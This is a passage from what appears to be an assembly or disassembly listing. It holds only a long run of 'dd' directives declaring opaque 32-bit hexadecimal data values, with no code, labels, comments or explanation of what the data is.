		dd 1B18527Ch, 0C6102F77h, 8CAD078Fh, 0C2E51759h, 0B0800ACAh
		dd 0D133A144h, 82F7BA14h, 0B75E14D0h, 0E1127B80h, 4181D2Fh
		dd 829E1F20h, 933D3CA0h, 3C6A57F1h, 43086420h, 388C0A70h
		dd 88FB08F8h, 5E6EEC01h, 39BC1565h, 17CDB880h, 396CBA93h
		dd 8AA9B33h, 0D4210007h, 9F8ACDC0h, 0A30C3E7h, 9BDBA834h
		dd 0D8AAEA3Eh, 7E5B6050h, 2E8D80h, 9A4B69B5h, 853C90F3h
		dd 379CF200h, 9BE92FF9h, 26F807EBh, 10A0E065h, 27341E7h
		dd 88F78A00h, 81DFD062h, 6F760075h, 94BC810h, 0D105B727h
		dd 2C62A05Ch, 0AA813185h, 3083288Fh, 0F0C9F8B0h, 0D77BE200h
		dd 3069FC79h, 90891456h, 2860DB29h, 0CF193D92h,	15EB3E01h
		dd 22045A72h, 0A696E8h,	0B4F751C7h, 746FE3B9h, 0C015DD07h
		dd 1FC065A9h, 3D47F883h, 81980CB2h, 0DB4918C7h,	53305FF4h
		dd 12EC61E0h, 1F2F037h,	0E2514A89h, 0D0D7EB79h,	1D78E596h
		dd 0C74F8606h, 30E9995Bh, 85085DADh, 0C601CA07h, 407D58FBh
		dd 0C0E60E42h, 0FED99C08h, 937600F6h, 0E6DD92D7h, 0BF733C08h
		dd 0E76B0700h, 48A8AA2Ch, 4F8C0685h, 8C48DDBh, 0CB213860h
		dd 24A8AFh, 0EF4E7985h,	76F20168h, 8FF8BA19h, 0AC183E51h
		dd 8546A808h, 4035C49Ch, 0BEA8B1C9h, 0F7260058h, 0FEE3EC21h
		dd 23002DCEh, 3FD2976Eh, 0C0203EEEh, 8F37B10h, 0C24516Bh
		dd 6E3A1CB6h, 43F74748h, 0E4F17200h, 0C95A336Fh, 2105EB08h
		dd 0E43FF1Ch, 53D1D300h, 19420ABBh, 58DDE6EEh, 8C29BDE7h
		dd 204C2589h, 0CBA03AA1h, 0E6DE18FCh, 0BA72282Fh, 20738D37h
		dd 263AFE11h, 0B29018B2h, 1043F330h, 0E0917204h, 1543FB20h
		dd 8405D27Eh, 7DFA0600h, 2BEE6580h, 80A5B79h, 0AC4E6D64h
		dd 90488780h, 25E546CEh, 0FF86E82h, 0B51CD671h,	0DC808D0Fh
		dd 67A412Ch, 90B700F1h,	0B4513B9Ah, 8F0966Bh, 3CFA8D0Fh
		dd 0C0E5AFEFh, 54ADF156h, 0BCB800ECh, 5D15A4F3h, 0BB002BBAh
		dd 1484B1B5h, 305183AAh, 0BD387F65h, 0A800D3AFh, 54563115h
		dd 0D6CE33h, 27D79BDDh,	24AB1485h, 2F5D1206h, 5215C2Eh
		dd 8F8381A8h, 0C0203C1Bh, 31043646h, 2D204Eh, 22058EB5h
		dd 88B0D843h, 0A41DAA6Bh, 0BF001680h, 144735A8h, 46901F12h
		dd 6E984CB3h, 21C01908h, 87147F56h, 682601CEh, 72DE12E4h
		dd 1736C82Bh, 0C3970500h, 3D8EADE6h, 685D60B2h,	2E0AAB27h
		dd 15AA1A1Ch, 0DE297581h, 90418E47h, 0C010CB55h, 69C63024h
		dd 1D08B6EDh, 80B41915h, 26E61ED1h, 0E104911Fh,	658F47CFh
		dd 0B0D8E7C6h, 0D4203173h, 4653BB30h, 66148C0h,	0B78ACC90h
		dd 7A8B8E0h, 0D43C4313h, 0D47A03h, 2056355Eh, 0D606D393h
		dd 0E77C1802h, 48BF00A9h, 218DEF57h, 0D6198E84h, 56085429h
		dd 5F662180h, 779FABEFh, 0B3190FE6h, 0FAC8EA94h, 0A7629810h
		dd 48FE88DCh, 0BC196887h, 4080A111h, 7E901114h,	5321448Ch
		dd 88147803h, 0FF86E16Fh, 0A4772940h, 708DFD13h, 0E58AF26h
		dd 0C01D88E8h, 4C5DC40Bh, 0B7586460h, 0FCBB75CCh, 8CE9D0D2h
		dd 5A124323h, 7C217E05h, 80388C67h, 0B6EF6267h,	0AC54985Fh
		dd 2E1431E4h, 40D82CF0h, 4900F188h, 3F1EC2C9h, 0A1D21637h
		dd 0E157690h, 3A90D518h, 19BCC8BAh, 0A6F9A4F6h,	309117F1h
		dd 0E7037C4Eh, 35F04C69h, 50383ED1h, 8CED1B15h,	8B8A0778h
		dd 40315EEBh, 93291144h, 218608CCh, 0EBA4036Fh,	66043926h
		dd 0FA1B25F0h, 0E1D21E1Bh, 929AC089h, 43F80FB7h, 0FD80D083h
		dd 976B374Ah, 3180EC26h, 80FABE0Fh, 2D401A5Ah, 0A91801AFh
		dd 79BB2395h, 587421D3h, 0E564AF38h, 8C601AA8h,	31235BEBh
		dd 8011A3h, 2AEBA168h, 6E436Ch,	2971AD67h, 0E00477E1h
		dd 3D975705h, 0B404267Ch, 8881D825h, 22011883h,	6F040DBh
		dd 0D105A83Bh, 0D267945Fh, 0BE23983Eh, 754A5800h, 142747F0h
		dd 0E01221C0h, 912C8Eh,	0AC802972h, 485A6D75h, 0BE105820h
		dd 313857A9h, 925FA92Dh, 0C0671C22h, 280F48AFh,	5EE74180h
		dd 219D5294h, 0CAEA434Ch, 697C755Dh, 2D0AE81Fh,	0A85981F3h
		dd 0C0D4D268h, 0D6119F11h, 63063A41h, 6B52AE31h, 21CB6008h
		dd 0F5D61992h, 481DF800h, 0DD6CE8F7h, 0EFC0023Fh, 0A98BD1CDh
		dd 60652C84h, 2342D610h, 0CE116B3Ah, 0D6187F00h, 64375FE4h
		dd 0C000DEEh, 41CA01F4h, 90D24DC4h, 0BFE40010h,	752418A9h
		dd 0D3BB2F2h, 2D8F003Eh, 3D36A4F8h, 0AC504CFAh,	629FF000h
		dd 0DAC2E37h, 3211F8A1h, 90052240h, 8047EAC4h, 0ED50773Fh
		dd 0A8AA60B4h, 53447847h
		dd 1C23DB60h, 18BED700h, 0EC3C07FFh, 0A8B34CE4h, 0D6229500h
		dd 0E52D093Bh, 0F5C2F9C1h, 10418004h, 0F0201BD8h, 3AECA837h
		dd 0D54474F4h, 0DF100820h, 42867413h, 0A5447CB6h, 45A31423h
		dd 2A269CD1h, 206D180Ch, 70A1183Bh, 85D187Ah, 542197EFh
		dd 684057C4h, 266CEF65h, 3C44A103h, 38B54CCCh, 70583799h
		dd 0AFBC2206h, 4CF76834h, 58C7FA4h, 218CEF5Eh, 6B34285Ch
		dd 8BEF6600h, 0D9678A9Eh, 3419C05Eh, 0DA10455Dh, 637BE800h
		dd 0B7AE246Ah, 36803D9Dh, 0F6294EB0h, 3E14316Eh, 74FC1BF0h
		dd 75A819C0h, 2607EE1h,	8F7AEE3h, 1500B0EFh, 15E792EBh
		dd 0CC377546h, 8DD80E7Ch, 928FC4h, 974D02D2h, 0CE172E35h
		dd 2800D12Ah, 81C6918Bh, 0B4E22414h, 0D42303FBh, 0C0EC3725h
		dd 12FB2EC8h, 99138000h, 2FCD98D7h, 50AB0018h, 0C3DC055Dh
		dd 40C1C1F5h, 41653E35h, 0CA435880h, 6A4DA2Fh, 9BC80E50h
		dd 0E4E8F128h, 0E0BCA624h, 82B62E08h, 7645F43Eh, 358EC481h
		dd 6841DE16h, 5FB84837h, 82188F4Ch, 68E83EB7h, 0B8EFAF80h
		dd 9B82080h, 32406862h,	580E442h, 817F4BC0h, 0C8B4C116h
		dd 0B184111Fh, 200CE870h, 5E00F688h, 376618CAh,	6016F7FFh
		dd 2D9070AEh, 50C052A6h, 1163CC3Eh, 0FAA400F5h,	96108CFFh
		dd 4A68BEE5h, 210FF020h, 20F0EA7Ah, 8C0D0670h, 0D9B8ED30h
		dd 3BDB8Dh, 3099842Eh, 384E6D25h, 0B71D580Eh, 11DC00F4h
		dd 50CDA322h, 147A499h,	0EA8EF141h, 645FD43Ah, 0D22A78A0h
		dd 7D00ACC7h, 7ACD2FD5h, 0A931B51h, 8794CC3Bh, 86013B4h
		dd 2980A5BCh, 4570A2EAh, 2A12EC5Bh, 42BC72B7h, 4E370491h
		dd 0F2002C4Ch, 4846E3A1h, 16D09800h, 7889C4CCh,	0D2CD3A29h
		dd 0BB94AF3Eh, 213B3047h, 0B8CF7199h, 0C5283142h, 0DA980080h
		dd 9C8200BFh, 94AB5F48h, 28C69BD9h, 1EC9E2D1h, 80C56731h
		dd 2FF69E27h, 2A7EC9FEh, 0E6015876h, 97084F19h,	5CF468DAh
		dd 21720666h, 48D8C1C3h, 3F76E27Eh, 282AC48h, 75489208h
		dd 0C8AC6056h, 17218028h, 951D34B0h, 8000315Ah,	63C34385h
		dd 2EB7E0Ah, 0A856D728h, 0CC404E74h, 2B8012B4h,	54A95CEEh
		dd 0F0AB9500h, 9A0510AEh, 0A8ADCDA0h, 85FFAC00h, 60A18E2Fh
		dd 328D1FAAh, 80139CCDh, 0D5F802DEh, 4A00C7B8h,	0E97B05A7h
		dd 7E18C582h, 0BD850C2Ah, 0B94097C4h, 0AD6EFF06h, 0E2423151h
		dd 30913810h, 576A7580h, 0A6F0655h, 7AEA33F2h, 0D59CBE00h
		dd 84183937h, 0DA4C07B0h, 3FBEB61h, 50002E04h, 8243C685h
		dd 610D2DFh, 3A2F75F3h,	0A5007105h, 4A49A606h, 0CEB13C3Eh
		dd 1BEF8610h, 0FFD39900h, 380029A1h, 1C2F8119h,	3950630h
		dd 7FC880B2h, 40D786ADh, 9C9E105Dh, 30F60730h, 631EB1C0h
		dd 9D1D58A4h, 0F24286D0h, 92D4C11Ch, 5AE3A583h,	77FA3D1h
		dd 0F26F8721h, 422F2063h, 6701B339h, 78593B5Fh,	50911849h
		dd 0F24480A2h, 4342D4C3h, 37B22D1h, 20F26989h, 62F864E2h
		dd 4C00B64Bh, 0B3F9676Dh, 3D304A09h, 0EF40DF31h, 1518637Eh
		dd 811066ABh, 0A8D900BBh, 0B13A87CEh, 8CC8A26h,	0E12159h
		dd 0F9EDD993h, 5758C0E7h, 782DCD30h, 0C7CA1666h, 80141D08h
		dd 12E87C9Eh, 0EC489300h, 2BA7C933h, 1F2703BCh,	68CA509Dh
		dd 0DB7F3900h, 8C1BBBFFh, 3740C0A7h, 0B116C0A0h, 0C3BD51C0h
		dd 638400Ah, 201967F4h,	0B96008E4h, 0A9B7321h, 0D80E000Dh
		dd 6A35697h, 7D15A920h,	78C7A49h, 38CFD3B7h, 87BBA265h
		dd 0F921F0D0h, 0BF097322h, 8052A71Dh, 6A83089Bh, 44500045h
		dd 53AC124Ah, 7D50D904h, 5618D1A0h, 9379B2BBh, 6E3E3ACCh
		dd 0F1DC1C03h, 0A381B550h, 3040806Ch, 0E7678DA0h, 0A4BCEA2Ah
		dd 0AFF0468h, 62943844h, 975F20E5h, 0ED018F0Ah,	0A024CD4Ch
		dd 11D823DAh, 87D138A9h, 50A4AD28h, 8C6EE0A5h, 87D9C404h
		dd 0E6388FCEh, 0E3D9BC02h, 58496C6Bh, 375229BCh, 18E35950h
		dd 34890A92h, 74D836D1h, 20C18E7h, 78BEC04Eh, 0A7E00D20h
		dd 77FEC17Bh, 0ADC68003h, 0A05D75B1h, 0EBB8763h, 62312D66h
		dd 235C3EF2h, 0D3410E55h, 0D0408F14h, 84C6009Eh, 248B7088h
		dd 0C8C83B0Bh, 0AFCC0B9h, 4EE93841h, 94720084h,	398D4D0Ah
		dd 0F7130024h, 879EDF35h, 9A12566Eh, 144EA014h,	0C207C026h
		dd 0C8E38CCCh, 0A1CFB768h, 0EC38470Ah, 7488E618h, 5EB8A09Ah
		dd 60E7C0Bh, 5B28B3F5h,	9C01C8E5h, 8799A9DFh, 0C2081C0h
		dd 0D39D0620h, 88CC7271h, 700B4045h, 27C0BA88h,	9F80D3h
		dd 0CBE02B1Eh, 8FB04CB7h, 0C4B3FA28h, 0C6246846h, 0DFCE0A96h
		dd 0BEE870C4h, 98E1D900h, 354DDCCCh, 7E240931h,	0D4214939h
		dd 36A61EB4h, 0F2400278h, 6762D4C7h, 458D09A0h,	147CB080h
		dd 0E77774C0h, 0DC9F7D02h, 61469DEBh, 4B188FA0h, 0D4FEF208h
		dd 407EC46Ah, 0B6F26C8Ch, 71220078h, 67CF9C1Ch,	1F242AA5h
		dd 4674B880h, 9645015Bh, 93DCB743h, 12B31BE8h, 8FD8D2h
		dd 44A55014h, 0E304FC2Bh, 1AD32A82h, 0F071F480h, 496D0FDFh
		dd 0B25B64Eh, 8BACC099h, 0D20CC68Fh, 40837120h,	0D64C18B2h
		dd 16AC58A3h, 0A9179900h, 604ABA59h, 0B4AF12D2h, 0C1489h
		dd 38CB9E8h, 537CAF18h,	3EF823D2h, 6B134908h, 0E0402C2Bh
		dd 74540717h, 0A9EE27h,	489B3B31h, 0AD67AEF4h, 3C2DBE03h
		dd 261ACF57h, 0EAC6F31h, 0E8040C4h, 0F554D8CBh,	1F8EC90h
		dd 802DFB28h, 895DAE30h, 4C99DC4Eh, 0FF01C058h,	0C134B1C3h
		dd 0CE108482h, 0B8D00FD8h, 0AA4A7Eh, 9BE20EE3h,	0A9184B03h
		dd 0A9D80h, 0E6B4A28Ch,	79FA16CCh, 8C386D38h, 7055D329h
		dd 0D8DE01E3h, 7D19FF30h, 8EDBC1CCh, 2015A059h,	91805FE7h
		dd 0A39F14D4h, 4E0BA885h, 6C04D1AAh, 722000B5h,	371AF24h
		dd 6FCA63A9h, 183F2A55h, 0B2E4456Ah, 6B0A89Fh, 2D91067Fh
		dd 0A8650734h, 1730CE70h, 40B678C0h, 0BEE100B5h, 805D98ADh
		dd 0DC1E742Ah, 18F03BE9h, 0F5CEDCDh, 0B31A879Fh, 31CF3C84h
		dd 8308592Bh, 9D6B2186h, 42E45708h, 0AB11BF0Bh,	371E3510h
		dd 10837040h, 73B63AB2h, 0D019C01Dh, 604DE1C1h,	35D46FBAh
		dd 2181ED73h, 3A18105Eh, 0DE50911Ah, 0A6253706h, 0AE0139CFh
		dd 3496E6E2h, 0BE0AD8Eh, 86E500A9h, 9B5C9C31h, 0B7603AA0h
		dd 9DB34E51h, 8AC5134h,	0B435C1D7h, 0BB956610h,	3FB1DC0Ah
		dd 0B9069C44h, 0F9E093h, 0F40EFB63h, 0BA66B319h, 0E20180DFh
		dd 0B4953F1Ah, 1572BE8h, 0BFC0F27Bh, 0C983B513h, 6D2980B9h
		dd 331C2690h, 1F7B7B09h, 0D885F950h, 0EF0721C9h, 334D2600h
		dd 1CEACF72h, 576038BFh, 82C8A59Dh, 0DA9B6368h,	1A00CA4h
		dd 0F216387Ah, 41064101h, 405BB2A8h, 0AC644D3Ch, 7D3B3400h
		dd 38A503BAh, 300E6CDEh, 3774B6D9h, 0E57DE018h,	68111h
		dd 12608C79h, 0FA68BA5Ch, 21A908CCh, 793300A8h,	0E8C82D30h
		dd 8F3DE2F4h, 0A790E0CEh, 0C1B1F6Dh, 0F04228E1h, 620A8068h
		dd 8CC8A66Ah, 7B6FE283h, 361000A7h, 48CABD75h, 98009BAEh
		dd 6D847610h, 62548Ah, 16CD1D52h, 2C4BFFB7h, 0F5042B00h
		dd 29FA846Bh, 0BD5900CBh, 17F7AAEAh, 900FF203h,	0A023EC3Dh
		dd 1B6FDDABh, 0FA7C1D99h, 105F00BEh, 0A8302F52h, 0B811C400h
		dd 3E47ECDAh, 40EE09h, 91EB694Fh, 2D5C94ABh, 2866991Dh
		dd 0E732D0C0h, 255EC8h,	944D714Bh, 0ED9DD74Ah, 63773001h
		dd 85FF7DF8h, 0AB64C0h,	4BD4605Fh, 0D1C8C949h, 1E7ACC00h
		dd 71BFFBD9h, 22380025h
		dd 7C5B633h, 2E0A9398h,	4946C34h, 93A5607Fh, 68A08B40h
		dd 0FE405197h, 8E030056h, 260F058Ah, 32006129h,	0CDD0EB4h
		dd 3D2974Dh, 5691482Ah,	28C6AC59h, 207A3242h, 464209C8h
		dd 2962B648h, 0B222DFEh, 214A24CAh, 7994962Eh, 0D911140Ah
		dd 0C5E21F7h, 0F6517974h, 664988h, 68852F0h, 44A46284h
		dd 0ED87700h, 259430CCh, 51F338C1h, 7FDAD01Dh, 0D9844DBEh
		dd 0EF598F85h, 31187CC0h, 3D220333h, 0E9B44C67h, 6C8D11D0h
		dd 0A1EA327Eh, 8AC74Ch,	0FA586D4Ah, 0EE2468Eh, 0A2EFE06Ah
		dd 0D96D501h, 67AFCC68h, 0CD1C5700h, 0CF018CA4h, 2BEC06h
		dd 0A511FD0Fh, 3EFA027Ch, 4AAE94Ch, 58F73F66h, 1280E284h
		dd 2369E6h, 9D096BA9h, 83708F4Dh, 0F8F42A00h, 7B5352B0h
		dd 452D0F0Ch, 9CA5A42h,	1D4D00E0h, 509B94A2h, 4C93A100h
		dd 5CC28BDAh, 0CCE0F954h, 0A9130070h, 0BB5E12F4h, 68609A1Dh
		dd 50921C19h, 86880045h, 6340433Ch, 3402E9A3h, 826F7C7Eh
		dd 641C48F8h, 0C5F000D6h, 48FBC098h, 6C003D40h,	0C85EF2FCh
		dd 0DDA29Ch, 87E07A2Dh,	67FD9A96h, 2637F103h, 0B02061E8h
		dd 2B32414h, 9B8E5518h,	0A8806D08h, 0B5532216h,	0D6A01C00h
		dd 0EBBA81F4h, 0B26FC88h, 74803FFBh, 7FEFE00h, 4F0054B4h
		dd 0B0E5F14Ch, 1C66DCD9h, 8AABC201h, 0A08815h, 22440539h
		dd 0FA4879DFh, 0A4B40369h, 0F0C84FF7h, 23A828h,	7C9537F6h
		dd 9FAC0427h, 8D7B7A00h, 0B7359254h, 23B5008Ch,	0B0F2A012h
		dd 0C105A56Eh, 2CCC372Bh, 454AB803h, 0BA8ED0FFh, 0B3F003EDh
		dd 9358675h, 4E814290h,	0B6FFF609h, 0C180F598h,	9745F19Fh
		dd 0F7B30D00h, 0B7734BBFh, 33740011h, 51576B7Ch, 0CFC5AD2h
		dd 78FC2900h, 0A3FB9E2h, 9C450063h, 0C173EAA8h,	8F14BA52h
		dd 9CC7E5h, 8A2F18C9h, 0F9107h,	780AA4ECh, 0A5A2FBF2h
		dd 506B7F00h, 1A2AD428h, 0EE9F00B9h, 7BEA31E5h,	0B27D6EF7h
		dd 7FB57800h, 2870C979h, 6A4A0185h, 0E1711EFBh,	128BBC1h
		dd 4B77C502h, 25C89E27h, 1A5F0208h, 7B0C41D6h, 0DC372068h
		dd 2C759D00h, 10A01851h, 0C8A93AE3h, 3C39F080h,	5AD182BAh
		dd 0C851302h, 0C0C47D8Bh, 28913A2Fh, 0E4DEDBh, 5954FF72h
		dd 6B64D7Eh, 7B007578h,	0D54976A4h, 3767D7h, 0F7DE5A52h
		dd 42B554A2h, 0FBBCD200h, 0D92A969Eh, 0F41C0782h, 0E1CCB8ECh
		dd 40293A27h, 5F9AF894h, 0B20B2300h, 890163E4h,	0F270FEh
		dd 0C0A8FA94h, 1EE32DF3h, 0BFF2F870h, 0C95028E0h, 0C800B7D0h
		dd 97D55B24h, 1E1AB2E2h, 268E96h, 9A508C88h, 85070EB8h
		dd 5829ECD0h, 7D348BE0h, 712D0E42h, 529E23h, 0DD6F1A20h
		dd 0AA80312Ch, 0A1220026h, 0D09054EDh, 0A6001A93h, 62D66D16h
		dd 97AD61h, 0A2B7961Fh,	903F30E5h, 2E77A509h, 6D27014Ch
		dd 0A820170Ch, 44D904D1h, 80CFB2B7h, 9CE3EC20h,	1C7740h
		dd 6D7E5D83h, 0E54ADD56h, 0C208B405h, 0D8002906h, 26532A23h
		dd 3E8BE4A2h, 4B8EC731h, 83004186h, 0CEE06C65h,	0F800A4F2h
		dd 52D7AF5Dh, 3FB7B930h, 0D5007747h, 4EE54D70h,	250A3BDCh
		dd 0B0BC93F2h, 38184001h, 69FCF657h, 0DF1900B5h, 89248E67h
		dd 19C026FFh, 94BC6287h, 4274C0B9h, 0B7704D5Bh,	6A669001h
		dd 5351EA7h, 0FC25C64h,	2D2CD731h, 8895F404h, 1E403078h
		dd 0A0DCFE6Dh, 0F2EB7D2h, 887CA381h, 37C186A0h,	8509D66Fh
		dd 0A697AFh, 8F621A16h,	9166018Dh, 0B9100DEEh, 0FAC0DC63h
		dd 9A353A00h, 0A0E5B26Dh, 0B745002Ah, 0B46C8C06h, 8400FE41h
		dd 9BABA2BDh, 0FF1D91h,	0B9676E9Fh, 7EC5AF6Dh, 8D7D2B19h
		dd 0B9FF9420h, 17EC8BE4h, 0C83501B9h, 0DA231482h, 0DB2701Bh
		dd 0E8CD661Eh, 197BAF40h, 3C2B6FD4h, 8C80D541h,	4EEE1C6Eh
		dd 21001504h, 0A1D6994Fh, 7AF5C5h, 26543DBCh, 27BFAF03h
		dd 0A41DC701h, 0D666B20Fh, 95F4BC31h, 3F617697h, 794549h
		dd 943D78F0h, 0A5F3E8B7h, 1411200h, 0F5183C43h,	0A131399Dh
		dd 27A3D800h, 706C26B1h, 5C00C0F6h, 0ED1ED207h,	0F2E8058Fh
		dd 82AD38C6h, 0FCDC3880h, 8D2C48F9h, 7474A3Ch, 0D728D909h
		dd 21B46310h, 0E101000Ch, 0ECC03876h, 962EA3BBh, 0FC3B247Eh
		dd 0BFEA8C1Dh, 0C479D507h, 3AB36A31h, 3E083860h, 507B07A1h
		dd 7FC912h, 445A7349h, 116E78Dh, 0D407EC1Fh, 56EE7140h
		dd 0F2DD6E2h, 0C04FA114h, 0FF8F6480h, 0E9F22895h, 7D5EB200h
		dd 16992F3h, 0DD20153h,	373CF9D3h, 0D802FD93h, 0F624868Dh
		dd 3003830h, 953EB79Ch,	7BAE00AFh, 0BDEF7858h, 77004319h
		dd 68F7D5FEh, 7C076139h, 0D9FB2CCDh, 0A0B50064h, 5775503Fh
		dd 397E7F00h, 0A2E9D11Ch, 0CAA800B7h, 1F275470h, 0AA26B2CCh
		dd 91F9944h, 66069F3Bh,	0E8D24740h, 4BB3E9h, 4EADBBFDh
		dd 29BFE61Eh, 0C5ECA412h, 6BE2B000h, 3F07A52Dh,	0C9079683h
		dd 0E08C7655h, 0BE4E203Ah, 0E2D6C400h, 4C9D2B3Dh, 89900013h
		dd 0E551D575h, 0C10149ADh, 5D5955B4h, 89313CD2h, 7564B6DCh
		dd 7DFB00E8h, 0E95C51DEh, 4700D3C2h, 0EED10D94h, 0B08DE598h
		dd 1C7A001Ch, 663611F0h, 33F03956h, 3500437Bh, 47D2B427h
		dd 1487CED3h, 0E8547B4Ah, 0EFC93000h, 192AE91Dh, 0F9AA2724h
		dd 0A8699D00h, 295EB0h,	4F1CEFC4h, 0EA4C96ACh, 0CD5DE00h
		dd 0CCC837A9h, 8721869h, 6F41488Dh, 28550614h, 1FF904E8h
		dd 380010DAh, 0C0ABEE03h, 65AA2200h, 0CC14BBE5h, 0FF6F00FCh
		dd 2F0F2EF6h, 573C5095h, 4388B0Bh, 3A648345h, 0EF33C0CCh
		dd 0BDAF681h, 0F1A12D7Eh, 7F75C01h, 3A44C89Ch, 351C8DB8h
		dd 0FD408BD4h, 64467D4Bh, 0A00E1F0Ah, 80F4C302h, 0C1F1C88Fh
		dd 3DF3D87Ah, 0BF4C8C04h, 60C03751h, 1FF98ED1h,	0A0F0DDAh
		dd 4A06CC6h, 85A39660h,	75282018h, 151DE108h, 0D180B52Ch
		dd 8767F84Dh, 2737008Dh, 0B78AD649h, 0AC00D4F9h, 2511D0BEh
		dd 0EA1893E6h, 55620082h, 0D612A268h, 717A8508h, 84BFC605h
		dd 8840C74Eh, 3EB04F76h, 6B8D0026h, 5EEAB6E9h, 0DB0B08BCh
		dd 27FFA87h, 64948AF0h,	0C0D300B8h, 0B790A2D8h,	78BAE04Dh
		dd 0F324DB02h, 0E0157FBDh, 4910DFh, 0BE775823h,	0F944EF5Fh
		dd 0F7597D00h, 0D6C6F646h, 829E00F3h, 7B3D8DC2h, 6900A66Bh
		dd 0DC5C837Fh, 0A920B0h, 0ACF1FC03h, 0C8C6AF14h, 0FA665B04h
		dd 64B0B7F2h, 6A6500E5h, 0CA712B86h, 34E4AA79h,	17ABA80Fh
		dd 8041C058h, 0C35D156h, 0AE269FE0h, 0B20A5918h, 809CE222h
		dd 7A8F1Eh, 7FCB81EEh, 0E1EA34h, 0F77C9095h, 982A0C10h
		dd 0C9008E7Bh, 12697B4Eh, 7F7AB030h, 0B542009Ah, 5AA3904Ch
		dd 0A100B743h, 5FEEC4D7h, 0F59CDB80h, 69E3A982h, 64C10A3Ch
		dd 84D4284Ch, 3483AA08h, 36C1CF72h, 0C4708907h,	165A0EA7h
		dd 0EE00CA9Ah, 0AF7F232Dh, 17794B00h, 0E8A389BDh, 5F1B009Bh
		dd 0C1209734h, 7F0086C5h, 0C441EB02h, 0B17CC13h, 51DB6B83h
		dd 0F391CE80h, 0D5006E12h, 6747C95Dh, 268F1Fh, 9E63659Bh
		dd 0C21A946Dh, 48208000h, 99F0F87h, 692F0FEAh, 0B6249ABh
		dd 2F423AECh, 0D536140h, 4191E41Dh, 1410AAC3h, 555A00B1h
		dd 0B9C5496Bh, 57054847h, 6D8908Dh, 0B00018C7h,	645598h
		dd 0FCC2B6E1h, 0A758EBBh, 67ECF4B8h, 0F98A5A13h, 4B80D440h
		dd 19DD016Dh, 11281EF3h, 0C8A08C6Ah, 1B11C5h, 5B6BB4FBh
		dd 16035665h, 66C19C0h,	0C0D47BFEh, 36917D11h, 0E0042F2h
		dd 0C4ABF96Fh, 124CE554h
		dd 8896EBh, 0DFEE1070h,	0AD000F5Ah, 2CE9DE60h, 76B9A0B4h
		dd 0F393003Bh, 54530CE8h, 7E00FBE2h, 0E6D06458h, 0F1AB7Ch
		dd 0EEA54E2Eh, 0D9051E57h, 0EBB6C7A0h, 0B90AB400h, 2DE89836h
		dd 19263C9Ah, 8418BC80h, 6C4CDCCEh, 2A92B00h, 8F0828B3h
		dd 59B801EBh, 3F29EDCCh, 0E2C02080h, 74B07872h,	5CFD7524h
		dd 0B47DB800h, 38BF5683h, 9300A2A1h, 4A9BCF7Eh,	40750A6Dh
		dd 0C3419D00h, 0C4355498h, 605C0058h, 29CFD213h, 77007DC9h
		dd 0C69AB439h, 39367310h, 75001CF8h, 0F91DA39Bh, 0EA00F355h
		dd 0AF3CA551h, 7C2E2Ah,	0DEF4C263h, 0FD3A821Ah,	805C023Eh
		dd 0C77330CCh, 115BF0h,	71FAFFAAh, 0CE09613h, 0C9572600h
		dd 6D09E331h, 5E7400D1h, 0FB25A22Ah, 0B5007012h, 19B4295Ch
		dd 1E4F39h, 4DF2DF17h, 0F81BFF72h, 87A43858h, 0B980BECDh
		dd 427AFDDh, 22A81875h,	61EC80DEh, 4218CC35h, 1210DB99h
		dd 90C20051h, 7DBF92C5h, 18C0B9B6h, 0EF1A4B93h,	4AB10035h
		dd 0EC7F22EDh, 0FE00A7E3h, 5E84032h, 0FA38D5Fh,	63440C3Ch
		dd 459E536Eh, 0F64A281h, 0E520E7B0h, 0D36A887Ch, 24521C00h
		dd 3F36DAABh, 20580137h, 64D87B6Dh, 1392D4B0h, 55F2F100h
		dd 1DADC216h, 23C530F5h, 0A6DB4CE0h, 928BD80Ch,	0E075A020h
		dd 415B3B91h, 4AFD10E0h, 0C93B96FFh, 45380E2Ch,	0B804AF88h
		dd 1CD11521h, 0C0EF7690h, 7C5A970Ch, 24023665h,	0E9E635F2h
		dd 17436007h, 489A93h, 0F0015305h, 83BBB1DAh, 0EF1E4E77h
		dd 0D054CF8h, 7880D873h, 109D32h, 36430FE6h, 6137A2B9h
		dd 6993B202h, 601805C4h, 3EDAB88Dh, 64F4341h, 0FC1D9C44h
		dd 5000A898h, 2B5EE88Fh, 1F89AB03h, 0C2915334h,	953798B4h
		dd 14096440h, 93E1010Ch, 16944007h, 40833816h, 9F78F43Ch
		dd 0F53E3AC0h, 1DD68639h, 0ECF8FD98h, 5DCD0289h, 784815B7h
		dd 35A06260h, 2E933D00h, 9DAA5188h, 3449481Fh, 9904A200h
		dd 2D3F5A2Fh, 0A1F77B03h, 80D856D6h, 449CCEFh, 9F800D3Dh
		dd 0F8AA8084h, 40A93CAh, 9CF0F3A1h, 0C09EE090h,	0B5CC478Bh
		dd 0D1C87333h, 5B2C42C3h, 0ECFF14D0h, 4900F7B2h, 9B3F66D1h
		dd 9EE62B1Ch, 3E1807BCh, 685CF00Ah, 0F2617EA7h,	1D942398h
		dd 1CDEC4h, 0F860D51h, 4AB0F504h, 6F7CB406h, 2890A3D5h
		dd 0F90FD34h, 0A5BB2190h, 0C0D4C7A0h, 74F63373h, 9B05AD00h
		dd 2D06F1A8h, 2BC00E6h,	6179A30Dh, 0FC0C3FB0h, 0B8BDA9D1h
		dd 276000D8h, 87F273ACh, 228E6BEh, 0B600B495h, 239332B3h
		dd 494719Fh, 56F7285Eh,	0B7958162h, 577FC853h, 1508600h
		dd 5140CDF6h, 7220033h,	0D903C84Ah, 46002F8Dh, 60088F35h
		dd 8CDD5Dh, 28275F48h, 6E717F9Dh, 12C2D400h, 0B398FD35h
		dd 1EE4F05Ah, 0A84DEA36h, 0B29B00C0h, 978F76AFh, 5338C7C6h
		dd 10F10060h, 0CD366FEBh, 718000E0h, 2105CF4Bh,	6E00B452h
		dd 92720EAAh, 2FCD57h, 0F291E6D7h, 23AFD19h, 67AF58h, 0D28B083Ch
		dd 2A481DDh, 0B6EF9E8Dh, 28520EC6h, 0F1FAE804h,	6C876875h
		dd 0A033CC72h, 0A6180DF8h, 0B9D35C48h, 8AC2120Fh, 3BE4B0C0h
		dd 9505F813h, 5A01638Fh, 2C3DEF00h, 711C931h, 0E56A153Fh
		dd 63109CFEh, 0CC00BAF2h, 4C1A8790h, 3BAFEEC2h,	0ED00C062h
		dd 0C6365A2Ah, 0C73BFB61h, 477E05C5h, 18C077F8h, 9B6BC3h
		dd 0E293AEFCh, 954A13CBh, 0C40D4C00h, 22C5A499h, 42EE9Eh
		dd 0DFBBD19Dh, 0D2CF932Ah, 8E00EE75h, 90E6E4BAh, 0CABCE69h
